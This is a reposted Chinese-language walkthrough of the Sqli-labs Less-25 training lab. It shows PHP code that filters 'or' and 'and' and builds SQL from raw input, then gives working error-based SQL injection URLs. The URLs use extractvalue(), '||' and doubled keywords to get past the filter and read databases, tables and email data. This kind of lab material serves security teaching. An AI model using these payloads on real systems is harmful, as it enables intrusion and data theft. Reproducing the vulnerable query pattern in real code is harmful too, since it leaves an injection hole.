Sqli-labs Less-25 繞過or和and過濾 extractvalue()報錯注入


關鍵代碼

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
	
	return $id;
}
$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

print_r(mysql_error());

本關主要為or and過濾,如何繞過or和and過濾。一般性提供以下幾種思路:

  1. 大小寫變形 Or,OR,oR
  2. 編碼,hex,urlencode
  3. 添加注釋/*or*/
  4. 利用符號 and=&& or=||
  5. 雙寫or或and繞過

暫時只想到這些,還有的話可以補充。

本關方法(1)(2)(3)均無效,下面我們利用方法(4)和(5)進行。

 

報錯注入 示例

1、獲取當前數據庫

http://127.0.0.1/sql/Less-25/?id=1' || extractvalue(1,concat(0x7e,(select database()),0x7e)) --+

這里使用||來繞過or過濾。

 

2、獲取所有數據庫

http://127.0.0.1/sql/Less-25/index.php?id=1' || extractvalue(1,concat(0x7e,(select group_concat(schema_name) from infoorrmation_schema.schemata),0x7e))--+

這里將information_schema改為infoorrmation_schema來繞過or過濾。

 

3、查看security庫數據表

http://127.0.0.1/sql/Less-25/index.php?id=1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),0x7e))--+ 

 

4、查看emails表的所有列

http://127.0.0.1/sql/Less-25/index.php?id=1' || extractvalue(1,concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' aandnd table_name='emails'),0x7e))--+

這里使用aandnd來繞過and過濾。

 

5、獲取內容

http://127.0.0.1/sql/Less-25/index.php?id=1' || extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,email_id) from emails),0x7e))--+

 

參考:https://www.cnblogs.com/lcamry/p/5763002.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM